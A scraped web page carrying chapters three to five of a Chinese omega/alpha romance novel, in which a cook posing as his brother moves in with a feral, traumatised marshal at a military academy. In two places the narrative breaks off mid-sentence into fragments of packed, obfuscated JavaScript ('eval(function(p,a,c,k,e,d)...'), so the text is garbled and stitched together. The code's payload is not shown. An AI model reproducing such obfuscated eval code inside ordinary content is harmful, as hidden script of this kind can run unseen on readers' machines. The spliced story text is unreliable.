尤其是雷克斯,他总觉得这个漂亮omega有点呆呆愣愣的,也不知道能不能够在元帅身边安全存活下来。 正常人看到元帅的第一反应,无一例外都是反应惧怕,甚至想要逃避。 雷克斯却在看到程青梧朝着元帅走了过去,就像是一只自投罗网的羊羔。 一位监听员报告道:“老大,他们发生对话了。” 雷克斯道:“让蜂鸟飞行器七号挪近些,听听他们在说什么。” 顿了顿,又吩咐其他人道:“你们负责记录下omega与元帅的对话,这会是对联邦重要作用的治疗记录。” 监听员操纵着蜂鸟飞行器朝着两人靠近。 不一会儿,青年爽朗软糯的声音响彻在监控室: “同学,这条鱼交给我好不好,比起生吃,它更适合红烧或者清蒸。” 雷克斯:??? 3. 第三章 【第三章】 “糟了。”一位年轻戍卫队队员倒抽了一口凉气,“这个omega居然直接走到了元帅面前。” 其他队员也在论议纷纷,气氛混乱又紧张。 “都闭嘴,”雷克斯沉声命令道,“继续观察。” 所有人屏住了呼吸。 他们见过太过类似的场景——联邦精心挑选匹配送来的omega伴侣,肩负任务接近那位大人,最终因无法承受精神力暴动而功亏一篑。有人崩溃,有人逃跑,有人当场昏厥,更有人精神力受创,需要数月治疗。 屏幕上,元帅一步步走向那个黑发白肤的青年。 —— 湖泊岸畔处,程青梧抱着不断扑腾的大鱼,看着新室友朝自己过来。 晏疏野披上了一件深黑色的军装外套,但没完全系好,露出大半胸膛,加之他浑身散发着浓烈到无法让人忽视的信息素,这在清冷感的基础上,增添了强烈的痞感与野性。 俨同一头正在收拢狩猎范围的猛兽。 程青梧下意识后退了一步。 晏疏野又向前一步,步伐沉稳缓慢,裹挟着巨大的压迫感。 程青梧再退,脊背抵上了湖边一块冰凉的礁石。 退无可退。 然后,晏疏野欺身压了上来。 太近了。 近到程青梧能够看清对方鸦黑的睫毛上未干的水珠,还能感受到对方健硕身躯里的滚烫温度。 从小到大,程青梧还从未与alpha有过这么近距离的接触。或许是他自小的生长环境所致,青瓷星o多a少,两种性别产生了不少矛盾,a伤害o的案件屡见不鲜,管理层就专门给alpha设置了专门的住宅区,a与o之间的住宅区竖立有高高的围墙,隔绝了两种性别的往来。 程青梧以前经常听弟弟说,最好少跟alpha往来,这个群体都是危险物种。 现在,他紧张得双手不知该如何安放,只能牢牢地抵住石面。 晏疏野的身量非常高大,让那些本该落在程青梧身上的阳光都集中落在他身上,鎏金色的光斑从邻近的高树树杈间筛落下来,因是双方离得近,近得程青梧能够看到那些光斑和树影在男人的脸上游弋,阳光是暖色调,反而衬得男人那一双蓝灰色的眸子格外冷漠。 冷漠得像是一片荒废寂寥的雪原,寸草不生,没有温度,也没有一丝一毫的烟火气。 程青梧动弹不得,不得不迎上对方的视线,直至这一霎,他清清楚楚地读到了对方眸底的攻击性。 好像是丛林猛兽盯到弱小猎物时释放出来的那种信号,要趁着猎物不备,一口咬住对方的大动脉,拖进自己的巢穴里狠狠享用。 对峙时,晏疏野又前进了一步。 他微微低下头,鼻尖贴上程青梧的颈侧。 他在嗅闻。 温热的吐息喷曳在程青梧的皮肤上,他整个人都僵住了。 蓬松柔软的白色猫耳局促地耷拉在发鬓间,尾巴一直在不安地摇来晃去。 男人的体温透过薄薄的军装传递而来,程青梧明晰地觉知到,眼前的这具身躯每一寸线条都充满了绝对的力量感和贲发的张力。 晏疏野的大掌按在礁石上,就在程青梧的耳侧,将他困在了方寸之间。 这是一个完全掌控的姿态。 程青梧的视线落在了新室友军装的前襟上,上面挂着一个陈旧的名牌,纯金质地,上面錾刻着三个字。 “晏、疏、野。”他念道,“原来你叫这个名字……” 话未毕,濡湿的触感从左颊一侧传来。 昏稠的光影间,程青梧瞠住双眸。 晏疏野居然在这时候舔了他一下。 粗粝的触感如野火过境,扫刮过面颊皮肤,带着试探的意味,温缓且细致,像是在品尝什么,又像是在确认着什么。 这个动作太过于原始,太过兽性,完全超出了正常人际交往的范畴。潦烈的湿痕在面颊上留下了微凉的触感,随即又被对方温热的呼吸挥发干净。 监控室内,所有人都替程青梧捏了一把汗。 雷克斯注意到屏幕上,这个年轻omega整张脸都蒸红了,不知是羞耻还是恐惧,身体隐隐发颤,好像要沿着礁石滑落下去——这是omega在遇到天敌所带来的的极端压迫之下的本能反应。 完了。 但凡这个omega露出一丝恐惧或是想要逃跑的念头,以元帅今天明显不太稳定的状态,后果不堪设想。 程青梧确实腿软了。 生物的本能让他逃离,但晏疏野的胸肌抵着他,犹如一堵墙,坚实炽热,根本无处可逃。 对方的手还摁在礁石上,小臂肌肉因用力而绷紧,苍蓝色的青筋隐约可见。程青梧甚至嗅到了更加浓烈的信息素——不仅有熔岩火山的味道,还有海盐与海水的香气,既危险又迷人。 程青梧的腿在发软,身体也在抖,大脑一直尖叫着让他逃。 但是…… 程青梧仰起脸,猫耳朵轻轻抖动,看着新室友,欢喜道:“你身上好香呀。” 监控室里,所有人:“……?” 程青梧一边品味,一边慢慢说道:“有海盐的咸香,像是海风裹着陈酿。” 脑海里马上就有灵感了,他举起还在扑腾的鱼,笑道:“今晚做鱼香烩饭怎么样?我们一起吃。” 说着,毛绒猫尾开始小幅度摇晃着,有一下没一下地扫过男人的脚踝。 晏疏野的动作顿住了。 那一双常年冷寂的蓝灰色眸子终于有了一丝波澜,最开始浮现的是一丝困惑。 对方居然不怕他。 在晏疏野有意识的时候,就生活在这里了,他见到了很多惧怕自己的外来面孔。 他们都惧怕他暴动的精神力。 每天醒来,精神力暴动就如汹涌洪荒席卷而至,晏疏野几乎没有一天是清醒的,整个人一直在躁郁与痛苦之中渡过,这养就了他阴郁孤僻的性子。 甚至,他丧失了原有的记忆和语言——他忘记了自己的身份,也不知该怎么与人沟通。 晏疏野尝试了许多种克服精神力暴动的办法,发现湖泊里的水质很特殊,游泳可以镇痛,哪怕这种镇痛的效果是极其轻微的,但也聊胜于无。 稍微清醒些的时候,晏疏野觉察到有一群人在他的领地外围时时刻刻监控着自己,他非常不喜欢像个物品一样被无数道异样的目光审视着。 有时候这些人会荷枪实弹,带着一些穿白大褂的人试图进入领地深处,但晏疏野从来没让他们成功过。 他把他们的武器和机甲撕个粉碎,他们朝他射击时,他也丝毫没有感受到痛。 他清清楚楚地听到,他们惊恐地骂他是个怪物。 最后那些人放弃了,只在外围活动,从不僭越。 …… 晏疏野的思绪逐渐归拢,视线的落点定格在了眼前的人类青年身上。 风吹过程青梧墨黑微长的发丝,露出了雪白的一截颈项,他的皮肤很薄,露出了非常纤细的血管,似乎只要晏疏野一用力,程青梧的脖子就会折断。 晏疏野对闯入自己领地的人,从来不会手下留情。 此时此刻,他的鼻尖还停在程青梧的颈侧,这个动作一般都会让人感到不安并且想要逃跑,但晏疏野并没有从程青梧身上感受到想要逃跑的念头。 恰恰相反,对方甚至无意识地仰起脖颈,让那片皮肤更贴近自己,像是在邀请更深的嗅闻。 这个动作太自然,太温驯,完全不像是一个被危险alpha困住的omega该有的反应。 程青梧还沉浸在自己的思绪和计划里。 “这条鱼够大,可以片成鱼片,可以用我特制的酱料腌制,配上家乡特产的香米,完全绝配。” 程青梧越讲越带劲,似乎完全忘记了自己的处境,“我还带了一罐五香柠檬,可以做冰镇柠檬茶,配海鲜烩饭吃特别解腻!” 青年掀起漂亮秾纤的一双桃花眼,真诚地问:“疏野同学,你有什么忌口吗?没忌口的话,我们今晚可以一起吃这个。” 时间仿佛静止了。 湖风徐徐吹过,掀起晏疏野未干的发梢,数缕银白色发丝轻轻扫过程青梧的面颊,掀起了一片绵长的痒。他仍维持着将程青梧困在身躯前的姿态,但原本那一股冷锐的攻击性,正在慢慢削弱。 那一双蓝灰色眸子在青年脸上逡巡许久。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这个姿势让程青梧完全处于失重的境况之中,小臀因地心引力而微微撅起,尾巴无措地晃动着。 “等、等一下……” 程青梧还搞不懂新室友为什么把自己扛起来,只见晏疏野从容不迫地伸出一条大臂,轻松地拎起他那两个沉甸甸的行李箱。 是的,拎起。 单手。 两个装满物品的大号行李箱,在晏疏野手掌当中轻飘飘的,就像儿童玩具一样。甚至,他没露出任何需要用力的表情,随意地提着,毫不费力,转身就往丛林深处阔步走去。 程青梧趴在男人肩上,目瞪口呆。 新室友的力气也太夸张了,这难道就是独属于alpha身上的力量感吗? 他无意识地动了动,试图找个更舒服的姿势,手掌不小心按在晏疏野的后颈处。 这个动作让男人的步履微微一滞,肌肉一霎地绷紧起来。 监控室里,所有人再度屏住呼吸。 后颈是alpha最敏|感的区域,尤其是对于元帅这样的顶级alpha,那里是信息素腺体的所在,是绝对不可侵犯的领地。 上次有人不慎触碰到那里,整条手臂都被折断了。 程青梧完全没意识到自己做了什么,他只是觉得新室友力气真大,人真好,还愿意帮他拿行李。 晚上得多做一点好吃的,给他吃。 监控室内,诡异的寂静持续了整整一分钟。 年轻戍卫队队员满脸愕怔,指着屏幕上道:“元帅虽然没有暴动,但把、把那个omega扛走了......” “还拎着行李。”另一人一脸不可思议,“元帅这样还挺亲民。” 雷克斯注视着屏幕。 他曾经是元帅的心腹,跟随元帅南征北战许多年,他见识过元刷撕碎虫族发射船,见过他徒手折断高智虫族的脊骨,见过他服役时期一个人在训练场把十个S级alpha打趴下。 但他从没见过元帅帮谁拿行李。 更没见过有人被那样扛在肩上,还能晃着尾巴,好像在体验什么有趣的游乐项目。 “继续追踪。”雷克斯沉吟一会儿,冷静地做出判断,“看看元帅会带这个omega去哪里。” 画面切换,蜂鸟飞行器捕捉到元帅带着程青梧走进了一片更加茂密的林地。 前方出现了一处废旧基地的入口,入口被藤蔓半遮半掩,一丝光也无法透入进去。 那是元帅的“巢穴”。 整个沧麓军校,只有极少数人知道这个地方的存在。 而能活着走出来的,目前为止是零。 4. 第四章 【第四章】 穿越茂密蓊郁的丛林,眼前的景象逐渐在程青梧的眼前铺展开来。 这里好像是一座基地。 一条羊肠小道弯弯曲曲延伸到了基地的围墙门口,围墙上爬满了绿色的藤蔓植物,继续往前走,可以看到几栋朱红色的建筑沉默地屹立在暮色当中,窗户陈旧,墙面斑驳,远看之下,就像是被剥去了实质只剩下黑色线条的巨人。 晏疏野扛着程青梧,径直走向那栋主建筑。 程青梧发现,基地内部并不像外面看起来那样陈旧。 中央空地清理得很干净,夹道两侧杂草整齐地修剪过,主建筑的门口挂着一盏老式的风灯,玻璃罩被擦得干干净净,里面的橘色火光正在扭来扭去,散播着温暖的热流。 穿过门廊的时候,程青梧看到楼上有许多房间,门是清一色虚掩着的,露出内部昏昧的空间,看起来是没有人住的。 这么大的基地型宿舍,真的就只有他们两个人住吗? 如果是真的,沧麓对学生的待遇未免也太好了。 这个时候,晏疏野将程青梧放了下来。 程青梧站稳之后,问道:“你的宿舍在哪里呀?” 晏疏野没有回应,只是走到大厅一角,在一个类似于按摩椅的蓝漆能源舱内坐下来。那一双蓝灰色的邃眸在昏暗的灯影里注视着程青梧。 面对新室友的疏冷态度,程青梧也并不介意,温然道:“那你在这儿等着,我先上楼把行李安顿一下。” 他刚要离开上楼,却听见晏疏野喉咙里发出了类似于猛兽发怒的声音,那种强大的压迫感卷土重来。 程青梧止住步履,晏疏野恢复平寂,但神情显得格外冷郁,一瞬不瞬地盯着他看。 程青梧再抬腿往前,晏疏野喉咙里发出嘶声。 程青梧重新放下腿,晏疏野恢复平静。 如此反复十余回合,程青梧意识到了一件事—— 新室友似乎是不想让他离开自己的视线。 嗯……看起来这孩子还挺缺乏安全感的。 程青梧不由想起很多年前跟弟弟一起上军校预备科的时候,在学校里,他去到哪里,弟弟就跟到哪里,训练要一起,吃饭要一起,如厕要一起,甚至洗澡也要一起,但凡自己离开弟弟的视线一会儿,弟弟就会四处哭着找他。 等再长大一些,弟弟就不再黏着他,也会自己独当一面了。 所以,眼前这种情况,程青梧很熟悉,也懂得怎么处理。 他就大大方方地待在原地,先声明道:“你放心,我不会离开的。” 当然,这句话并没有得到晏疏野的信任,他仍然保持着在黑暗里观察着他的姿势。 从入学报道一路走到这里,忙活了大半天,程青梧这一会儿有点饿,他决定先做饭。 程青梧打开第一个行李箱。 监控室里,所有人都伸长了脖子。 他们想知道,这个能在晏疏野面前活下来,还能被带回巢穴的omega,到底带了什么秘密武器?是高级镇定剂?精神力安抚装置?还是联邦最新研发的防护装备? 行李箱打开了。 首先露出来的,是一口漆黑的炒锅。 然后是汤锅、蒸锅、平底锅......锅碗瓢盆叮当作响。 接着是各种瓶瓶罐罐——酱油、醋、料酒、香油、辣椒酱、五香粉、八角、桂皮...... 再然后是一袋袋真空包装的米、面、豆类、干货...... 最后,程青梧小心翼翼地从箱子里捧出一个密封罐,里面是黄澄澄的柠檬片,泡在琥珀色的糖浆里。 他傲然地挺了挺胸:“看,五香柠檬,我特制的,泡水喝或者做菜都超级棒!” 监控室内,死一般的寂静。 年轻戍卫队员眨了眨眼,又眨了眨眼,终于开口:“不是,这个omega认真的吗?” “他是来度假的?” 另一人表情空白:“他甚至还带了附有猫耳朵图案的粉色围裙。” 雷克斯看着着屏幕上那个正在清点厨具、完全没意识到自己究竟身处何地的青年,眉关越皱越紧。 不对劲。 联邦派来的人,哪怕伪装得再好,目的也只有一个:安抚或控制晏疏野。 他们会带最先进的设备,最有效的药剂,最专业的方案。 但绝不会带一箱厨具和调料。 一个近乎荒诞的想法在他脑海里升起。 他一直以为这个omega是联邦派来的,如果他不是呢? “详查这个omega的身份,”雷克斯神情变得冷峻,肃声吩咐下去,“接入沧麓军校人员大数据库,匹配一下特征。” “明白!” 戍卫队队员迅速操作控制台,调出三小时前的防御带通行记录,进行反向追踪。 几分钟后,系统发出“滴”的一声提示音。 匹配成功。 屏幕上弹出一张清晰的学生证件照——黑发,白肤,笑得有些痞气张扬的年轻omega。 照片旁是详细资料: 【姓名:程白起】 【年龄:21岁】 【籍贯:青瓷星】 【录取院系:大三作战指挥系】 【宿舍分配:北区6栋606室】 【精神力评级:A级】 …… 监控室里,所有人倒吸了一口冷气。 年轻队员愕然,“他根本不是联邦派来的,就只是个普通学生。” “所以说,他本该去606,不是909。”另一人脸色发白。 是他们放程白起进来的。 毕竟了解红色禁区的人寥寥无几,更没有学生会主动来红色禁区,他们想当然地以为程白起是联邦派来的人。 雷克斯一拳砸在控制台上,他为自己的疏忽和纰漏感到愧怍。 失误了。 一个随时可能致命的重大失误。 他们把一个普通学生放进了元帅的巢穴。 这个学生目前正在联邦最危险的alpha面前,准备做鱼香烩饭。 “队长,”有人低声提出补救方案,“要不要派人进去把程白起带出来?趁现在还来得及,趁元帅还没——” 还没什么?还没失控? 还没把这个不知死活的军校生撕碎? 所有人的目光投向了主屏幕。 基地里,程青梧架起了便携式炉灶,苍蓝色火苗熨烫着锅底。他正熟练地挥起切刀将鱼片成薄片,动作行云流水,一气呵成。 晏疏野静静坐在阴影里,一对赤色龙角在薄弱的灯火中投出浅色剪影。他看着那个忙碌的身影,浅灰色的冷眸一眨不眨。 元帅没有攻击,没有驱逐,甚至没有表现出任何不耐烦。 画面诡异得和谐。 “我们按兵不动。”雷克斯的声音响起,打破了监控室的死寂。 所有人都看向他。 年轻队员难以置信,“可是,程白起只是个普通学生,我们犯错了,应该立刻纠正。” “你们看屏幕。”雷克斯指着主监控,“程白起在那里多久了?应该差不多半小时了,元帅有没有对他做什么?” 众人看向屏幕。 程青梧正在往锅里倒油,热油与鱼片接触的“刺啦”声通过音频系统传出。 香味似乎能透过屏幕飘出来。 “程白起还活着。”雷克斯缓声分析道,“而元帅在看他做饭。” “换言之,元帅对程白起没有抵触心理,甚至还产生了好奇心。” 这画面太超现实,太魔幻主义,以至于所有人都沉默了。 “如果现在派人进去,会发生什么?”雷克斯继续分析利弊,“不仅会惊扰元帅以致于引发暴动,还会让程白起意识到自己身处险境,因恐惧而触发不可预知的反应。” 众人缄默不语。 “记录下这一切。”雷克斯转身,扫视监控室里的每一个人,眼神凌厉,“今天发生的事情,不准向任何人透露。上级问起,就说909区域一切正常,没有异常情况。” 有人犹豫:“隐瞒这么重大的失误,如果被上面发现……” “如果现在上报,程白起会被立刻带出禁区。”雷克斯阻断他,“元帅会是什么样的反应,你们想过吗?” 所有人都不说话了。 他们见过元帅精神力暴动的样子。 那不只是一个人的暴怒,那是一头远古凶兽的苏醒,是足以摧毁整个沧澜星的灾厄。 而现在,程白起在某种程度上,稳住了这头凶兽。 “继续观察。”雷克斯重新看向屏幕,声音低沉,“程白起和元帅的所有互动,全部记录下来。” 话音刚落,负责监控巢穴的屏幕突然变成了雪花。 蜂鸟飞行器遭受到了暴动精神力的攻击,宕机了! 变故来得猝不及防。 以前也发生过这样的事件,蜂鸟飞行器能够监测到红色禁区的外围,但进入元帅的巢穴,很快就会失去检测信号。 好死不死,就卡在这个节骨眼儿上。 现在所有人都无法监测到巢穴里具体发生了什么,他们纷纷看向雷克斯。 雷克斯薄唇抿成了一条线,他忍不住望向窗外。 夕阳完全沉入地平线,红色禁区的夜晚降临了。 今夜会发生什么,雷克斯心中没有定数。 愿诸神庇佑这个军校生吧。 —— 基地里,鱼香烩饭的香味已经弥漫开来。 程青梧盛了两大碗,把其中一碗端到晏疏野面前,温声说道:“尝尝看,里面有我特制的酱料。” 男人徐缓地低头,看着那碗热气腾腾的烩饭。 沉寂的眼倒映着暖橘色的灯火,火光柔和了他原本锋利冷漠的轮廓线,让他身上的压迫感减轻了不少。 晏疏野看了一眼,又抬头看向青年。 似乎洞察出他的心理活动,程青梧点了点头:“是给你的,趁热吃。” 晏疏野从能源舱内下来,伸出手缓缓接过。 烩饭本身的热意渗透碗壁,顺利地传达到了他的手掌心,不是以生冷食物所附带的冷感,而是一种温暖的感觉。 这种感觉非常奇妙,好像是有一只手深入他的神经末梢,抚平了所有不安又毛躁的边角,引得他生出了一丝极轻的悸颤。 晏疏野抬头看着眼前的黑发青年。 程青梧正在小口小口地吃饭,两腮一鼓一鼓的,眼底露出了幸福神色。 看起来,他吃得特别香。 晏疏野受到了触动,在体内冷寂久矣的食欲也开始复苏。 他抓起一握饭,咀嚼了一口。 然后咀嚼了第二口。 第三口,第四口…… 程青梧看到新室友开始吃饭,由衷地感到开心,但看到对方伸手抓饭吃,就感到很意外了。他把调羹递给对方,但对方只是沉默地看着他,那一双蓝灰色的眸子露出了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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趁着气氛缓和了许多,程青梧主动发起聊天:“我叫程白起,是作战指挥系的。” “我们系一周内的课程有很多,从早到晚差不多都是满满当当的,每天还得早上六点爬起来去跑操。” 说到这里,程青梧就心虚起来。 虽然他体力也不差,但六年前从军校预备科毕业之后,他就再也没有高强度锻炼过了,听程白起说这里的教官都很严格,动辄让人跑个二三十圈,只要跑不死,就往死里跑。 沧麓学府的校规是:“为战而生,至死方休。” 程青梧一直都觉得那些能开机甲的人非常厉害,他们就是真正意义上的天之骄子。 沧麓学府就是专门培养天之骄子的地方,程青梧从未想过,自己有一天真的能够踏足这里。 虽然是以程白起的身份来,但身为长兄,这一个月绝对不能给弟弟拖后腿。 说起来,弟弟今天还没跟他报备伤情呢,只可惜通讯器在星际飞船上被扒了,程青梧现在根本联系不上。 也不知道现在白起现在恢复得怎么样。 有陈姨照顾他,他应该能够恢复得很好。 程青梧现在打算买一个新的通讯器,也不知道在沧麓学府能不能买到。 这一趟来军校,程青梧带的现金也不多。他从行李箱的夹层拿出一个小布包,打开,里面是一叠星币——这是他一个月的全部生活费,也是小饭馆这个月的大部分盈利。 数了数,七百三十星币。 在青瓷星,这笔钱够他生活三个月还有富余,但在沧麓军校这种顶级学府,尤其是在中央大陆这种繁华地段,消费等级应该是翻了好几倍的。 来之前,程青梧已经算好了一笔账,这个月一日三餐都自己做,这样可以省下一大笔支出。 那么,这些钱,应该够买一个通讯器吧? 昏昧的光影里,晏疏野静静看着程青梧记账数钱的动作,蓝灰色的眸瞳里晃过一丝极淡的困惑,过了一会儿,他似乎理解了什么,阔步走到程青梧面前。 程青梧还没回过神,整个人又是一片天旋地转。 新室友把他扛了起来。 他要把他扛到哪里去? 十分钟后。 基地后院,晏疏野放下程青梧,一脚踹开了铁质卷帘门。 这里是一个很大的仓库,里面堆满了星兽的骨头。 空气里弥漫着浓郁的血腥味。 程青梧第一次见到如此壮观的场景。 他上过军校预备科,老师讲过,星兽的骨头是个很珍贵的东西,里面有些成分可以做成机甲配件,计值不菲。 正想问这些这些皮毛和骨头是哪里来,倏然之间,程青梧听到一阵低哑的嘶吼从身后传来,循声望去—— 只一眼,他浑身的冷汗顿时冒了出来。 不远处的丛林小丘上,窜出来约五六米高的碧眼怪兽。 外观像是猎豹,但毛身是冷蓝色,渗透着诡异又凶猛的气息。 程青梧一下子就认出来了,这是蓝豹兽,但还不知道具体是多少级。 他以前在军校预备科也猎杀过星兽,最高等级为B。 要是这头蓝豹兽等级超过了B,那就不太好了。 程青梧忍不住吐槽道,怎么宿舍里也会出现星兽啊?是校方故意放出来的么? 还没正式开学,就来个猝不及防的考核,程白起也没提醒过他啊。 这时,蓝豹兽朝他们猛扑了过来! 5. 第五章 【第五章】 程青梧不愿迎战,原本想拉着新室友一起跑路的,结果这头蓝豹兽腾跃速度极快,转眼之间就蹿到了他面前! 烈风扑面,程青梧只好向侧方翻滚,避开了蓝豹兽来势汹汹的扑咬。 程青梧很久没有跟星兽作战过了,上一回作战还是在很多年前的军校预备科里,他徒手杀了一头鬣犬。不过,那头鬣犬也只两米多高,而眼前的蓝豹兽的体积,相当于三头鬣犬的总和。 他很清楚地知道,自己稍一松懈,他今晚就会变成这头星兽的盘中餐。 要杀死这么一头庞大的星兽,程青梧心中并没有十成的把握。 所以,当蓝豹兽朝他接连发起进攻的时候,程青梧唯一的策略就是避其锋芒,说得难听点,就是躲。 躲了十余个回合,程青梧发现一个很明显的细节——蓝豹兽专门只攻击他,而不攻击晏疏野。 以前听预备科老师讲过,星兽也有一套生存策略,它们畏惧精神力比自己高很多的人。 程青梧明白了,晏疏野的精神力等级一定比蓝豹兽高,所以蓝豹兽才不敢攻击他。仓库里那么多星兽骨,估计都是蓝豹兽的同类,晏疏野宰了这么多星兽,所以让蓝豹兽产生了忌讳。 ……所以,蓝豹兽就盯上了精神力等级只有B级的他吗? 真是太不尊重人了! 然而,就是这么一分神,蓝影再度袭来,速度太快了,程青梧慢了半拍,被沉重的兽躯掼倒在地! 程青梧的后脑勺磕在地面上,眼前是一片发黑的眩晕,灼热的腥气喷薄在脸上,甚至,他提前感受到蓝豹兽锋锐的尖齿抵在自己的颈动脉上。 只要蓝豹兽一用力,他就会毙命。 程青梧太阳穴突突直跳,他不想刚来军校报道就折戟在一头星兽手上,这一刻,大脑一片空白,只剩下求生的本能在疯狂涌动。 不能再躲了,只剩下主动进攻。 程青梧咬紧牙关,屈起膝盖狠狠撞向兽腹,伴随着一阵闷嚎,趁着压制松动的刹那,他翻身将兽掀偏,跨坐上去! 蓝豹兽觉察到有人骑在自己身上,狂怒不已,一直在上蹿下跳,剧烈挣扎。 程青梧深吸一口气,右手拔出腿侧的匕首,照准蓝豹兽身上的软肋,高高扬起—— 可手心在发抖。 剧烈地抖。 程青梧很久没杀过星兽了,以前杀星兽的时候,程白起总是说他优柔寡断。没错,他就是性子软,在猎杀方面欠缺狠劲儿与决心,他想要有个人推自己一把。 似乎听到了程青梧的心声,一道高大峻挺的阴影笼罩住了他。 一只修长冷白的大手从身后覆上他的手,力道沉稳厚重,抚平了程青梧原本的颤意。 他余光看到晏疏野冷峻的侧颜轮廓。 晏疏野没说话,只是手把手引导他,找准蓝豹兽的命脉,然后匕首猛然压下! “噗嗤”一声,蓝豹兽瘫倒了下去。 一刀毙命,世界寂静了。 等程青梧反应过来时,才发现自己已经熬过了刚刚那个惊心动魄的时刻。 他做到了自己做不到的事。 晏疏野早已把手松开,静静地在一旁望着他。 “我没事,”程青梧惊魂甫定,“刚才谢谢你啊。” 夜里的风徐徐吹过,青年的眸子里浮动着一片光芒,好像装着天上的银河,晏疏野近距离看着,喉结上下紧了一紧,但他不着痕迹地撇开了视线。 晏疏野把蓝豹兽拖进了仓库里,开始处理,但因为场面太过于暴戾了,血点子四溅,程青梧有点看不下去,上去阻止:“可以交给我处理吗?” 晏疏野以为他想要蓝豹兽的星兽骨,他朝着仓库里那一堆处理好的星兽骨指了指,意思是那里有很多现成的,程青梧直接取用就可以了。 程青梧婉拒:“这是你打猎下来的星兽骨,我不会要。” 他指了指晏疏野处理的蓝豹兽:“我只要这头。”说着,脑袋上的猫耳还傲然地动了一动。 晏疏野感受到了他的坚持,松开手,让至一旁。 行李箱里有专门的刀架,程青梧取出合适的刀,一晌把星兽翻了个面,一晌找准最容易处理的部位,开始下手。 以前有处理肉类的经验,所以这一回程青梧做处理得很顺利。 他把合适的肉切割成条并腌制——星兽的肉有很高的食用价值,程青梧打算做成肉条,当成接下来一周的干粮。 接着,他又把有价值的的骨骼单独放到一边,它们差不多占据了全部骨骼的三分之一。剩下的要么有裂纹,要么品相普通,估计卖不上价,但或许也能当成普通材料处理掉。 忙完这些,程青梧又去处理肉条。 基地里没有阳台,他就在基地后院的空地上搭起了一个木架子,将一条条腌制好的肉仔细挂好,间隔均匀,确保通风。 刚挂好,程青梧发现晏疏野一直盯着肉条看,认为他想吃,拦在肉条前,认真叮嘱道:“这些肉干需要彻底风干,至少得晾一周才能吃,千万不能动噢。” 晏疏野伸手想要捻一串肉条。 下一息,他的手背就被轻轻的力道拍了一下。 晏疏野垂眸看向了自己的手背,又望向程青梧,眸子冷湛沉郁。 程青梧以为他是生气了,温声解释道:“现在肉里可能有就寄生虫,我怕你吃了肚子不舒服。” 他真的是为新室友的饮食健康着想。 这孩子以前想必是吃惯了生冷食物,一时半会儿肯定纠正不过来的,所以,他平时能盯着就多盯着点。 晏疏野盯着程青梧。 程青梧也盯着晏疏野。 两人的精神体浮在上空相互对峙。 猫猫支棱起来也是颇有气势的,可不怕他这头黑龙! 许是被猫猫的气势震慑住了,黑龙最终悻悻收回了伸向肉条的爪子。 夜色渐深,两人回屋睡觉。 房间的东侧是炉火,散发着源源不断的暖气。 程青梧刚沾上床,困意更浓,他本来想等新室友一起上床,但迟迟没等来。 他抬头,看到新室友坐在角落的那一张有点像治疗舱的长椅上,双手覆在膝面上,一动不动的,如一座没有生气的雕像。 程青梧有些意外:“你不上床睡觉吗?” 基地的床虽然只有一个,但非常大,上面可以滚六七个人。 新室友没有回答。 见及此,程青梧也没有继续多问,同居在一个屋檐之下,要学会尊重人家的生活习惯,也许人家就喜欢坐着睡觉呢? 程青梧以前听说龙喜欢倒挂着睡觉,现在他也长见识了,龙也可能坐着睡觉。 炉火熄灭后,房间沉入温暖的黑暗。 程青梧一沾枕头就睡着了。 过来一会儿,晏疏野在昏稠的光线里微微睁眼。 自从精神力暴动之后,他就再没有入睡过。 失眠。 永恒的失眠。 每当他闭上眼睛,试图睡眠,身体就会自动进入一种极致紧绷的警戒。不是不能睡,而是不敢睡——仿佛潜意识深处还记得,曾经在过去的光阴里发生过什么可怕的事。 所以他就这样坐着。在无数个夜晚,看着天色从深黑变为墨蓝,再到鱼肚白。身体疲惫到极限,精神却始终悬在一根细线上,无法坠落。 安然入睡已经对他来说成为一种奢侈。 长期的缺觉,让他变得暴戾又阴郁。 今夜亦然。 不过,今夜还是有些不一样,今夜多了一个omega。 晏疏野目光定格在床上的青年身上。 程青梧侧躺着,睡衣领口微敞,睡颜毫无防备,白色的猫尾巴从被子里探出一截,随着呼吸轻轻起伏。 稀薄的月光透过窗缝,勾勒出独属于omega柔和的轮廓。 脆弱,易碎,就像是一只羸弱的小动物。 但他又有一种胆量去与比自己强悍的物种博弈与对抗。 两种气质矛盾地集中在一个人身上,让晏疏野的视线无法从青年的身上挪开,他试探性地起身,行至床前。 离得近了,他嗅到一抹清冽的松油薄荷香。 是程青梧身上的气息,像雨后森林的气息,混糅着皂角香,干净又纯粹。 晏疏野的喉结上下滚动了一下。 黑暗中,他的眸心微微收缩,目光落在程青梧近在咫尺的脖颈上。那一片皮肤在月光下泛着细腻的雪白光泽,随着呼吸轻轻起伏。 他想靠近。 想将鼻尖埋进那片皮肤,想呼吸更多那种让他安宁的气息。 晏疏野静静地在床前守了一会儿,直至彻底确认对方进入了深眠才敢继续靠近。 晏疏野坐在床侧,俯身,凑近至程青梧的颈侧嗅闻。 松油薄荷的气息更加浓烈了,浓烈到他想要张嘴咬住对方,并在对方身上留下自己的气息。 但不知是不是动作有些大了,竟是让程青梧从睡梦当中醒转了过来。 隔着一段距离,两人对视了一瞬。 晏疏野淡敛着眸,身上的攻击性马上升腾了起来。 但凡对方露出一点害怕或是恐惧的样子,他不会让对方活着见到明天的太阳。 然而,程青梧只是往旁侧挪了挪位置,咕哝道:“我正嫌这床太大了,睡起来不踏实,你刚好来了,躺上来吧。” 程青梧拍了拍床单,示意晏疏野上床。 晏疏野站在床边,低头看着眼前深陷在被褥里的omega。月光勾勒出他纤细的轮廓,白色猫尾巴无意识地摆动,像是在发出邀请。 晏疏野喉结滚动得更厉害了。 他应该离开。 他应该回到椅子上,与对方保持距离。 但他没有。 晏疏野脱掉军靴,掀开被子。 程青梧朝着墙的那一面躺着,他感受到身后一侧凹陷了下去。 其实,程青梧也没有真正睡着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 